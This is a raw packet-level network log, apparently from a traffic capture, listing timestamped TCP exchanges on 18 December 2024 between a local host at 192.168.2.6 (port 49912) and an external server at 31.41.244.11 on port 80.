Dec 18, 2024 11:09:28.164966106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.164992094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.165637016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.165682077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.165913105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.165949106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.166450024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.166490078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.166511059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.166548014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.167541981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.167586088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.167737961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.167778015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.168801069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.168839931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.168999910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.169037104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.169543982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.169565916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.169579983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.169596910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.170150995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.170165062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.170192957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.170202971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.170687914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.170723915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.170787096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.170830011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.171310902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.171361923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.171418905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.171451092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.172008991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.172034979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.172055960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.172074080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.172864914 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.172919035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.172981977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.173026085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.173893929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.173935890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.173988104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.174021006 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.174885035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.174937010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.174997091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.175035954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.175832033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.175878048 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.175967932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.176003933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.176985979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.176999092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.177027941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.177045107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.177995920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.178009033 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.178037882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.178060055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.178795099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.178847075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.178916931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.178917885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.179761887 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.179805994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.179863930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.179902077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.180793047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.180855989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.180923939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.180960894 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.181752920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.181788921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.181854963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.181890011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.182842970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.182904005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.182909966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.182946920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.183763027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.183806896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.183952093 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.183993101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.184689045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.184735060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.184837103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.184892893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.185662985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.185714960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.185791969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.185827971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.186667919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.186709881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.186765909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.186801910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.187669992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.187711954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.187772036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.187808990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.188649893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.188698053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.188772917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.188810110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.189619064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.189671993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.189678907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.189708948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.190599918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.190644026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.190694094 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.190823078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.191581964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.191637039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.191714048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.191755056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.192569017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.192621946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.192678928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.192715883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.193564892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.193617105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.193635941 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.193670034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.194561958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.194617987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.194694042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.195038080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.195558071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.195606947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.335338116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.335422039 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.335433960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.335484982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.335526943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.335572004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.335593939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.335635900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.336528063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.336580992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.336771011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.336847067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.337496996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.337548018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.337555885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.337598085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.338510990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.338565111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.338628054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.338677883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.339561939 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.339598894 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.339615107 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.339644909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.340425968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.340477943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.340538979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.340585947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.341425896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.341475964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.341538906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.341583967 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.342432022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.342483044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.342518091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.342560053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.343426943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.343472004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.343491077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.343539000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.344438076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.344489098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.344511986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.344556093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.345408916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.345460892 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.345478058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.345520020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.346332073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.346376896 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.346457958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.346503019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.347326994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.347368956 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.347476006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.347524881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.348300934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.348347902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.348385096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.348428965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.349251986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.349292040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.349363089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.349405050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.350292921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.350337982 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.350459099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.350502968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.351228952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.351274014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.351356030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.351402044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.352179050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.352221966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.352335930 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.352380037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.353185892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.353230953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.353317976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.353358984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.354528904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.354573011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.354608059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.354651928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.355580091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.355626106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.355633020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.355673075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.356849909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.356905937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.356966019 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.357012033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.358031988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.358077049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.358294010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.358339071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.359308004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.359364986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.359527111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.359571934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.360678911 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.360759020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.360827923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.360882998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.361915112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.361964941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.362050056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.362096071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.363280058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.363327980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.363631964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.363675117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.364505053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.364547968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.364620924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.364662886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.365879059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.365928888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.366055012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.366100073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.367501020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.367562056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.368015051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.368062019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.368439913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.368480921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.368554115 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.368597984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.369040966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.369086981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.369149923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.369193077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.369781017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.369826078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.369857073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.369900942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.370513916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.370559931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.370569944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.370610952 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.371196985 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.371243954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.371256113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.371299028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.371942997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.371989965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.372065067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.372107983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.372690916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.372739077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.372806072 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.372849941 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.373490095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.373536110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.373790026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.373831034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.374216080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.374264002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.374327898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.374377012 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.374963999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.375014067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.375086069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.375129938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.375921965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.375976086 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.376028061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.376069069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.376765013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.376816034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.376889944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.376935005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.378093004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.378134966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.378247023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.378285885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.379241943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.379281998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.379426956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.379466057 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.379895926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.379940987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.379986048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.380022049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.380870104 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.380912066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.380995989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.381032944 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.382253885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.382294893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.382441044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.382477999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.383253098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.383291960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.383346081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.383383036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.383913040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.383953094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.384036064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.384072065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.385276079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.385329008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.385371923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.385410070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.386652946 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.386698961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.386744022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.386790037 CET	49912	80	192.168.2.6	31.41.244.11
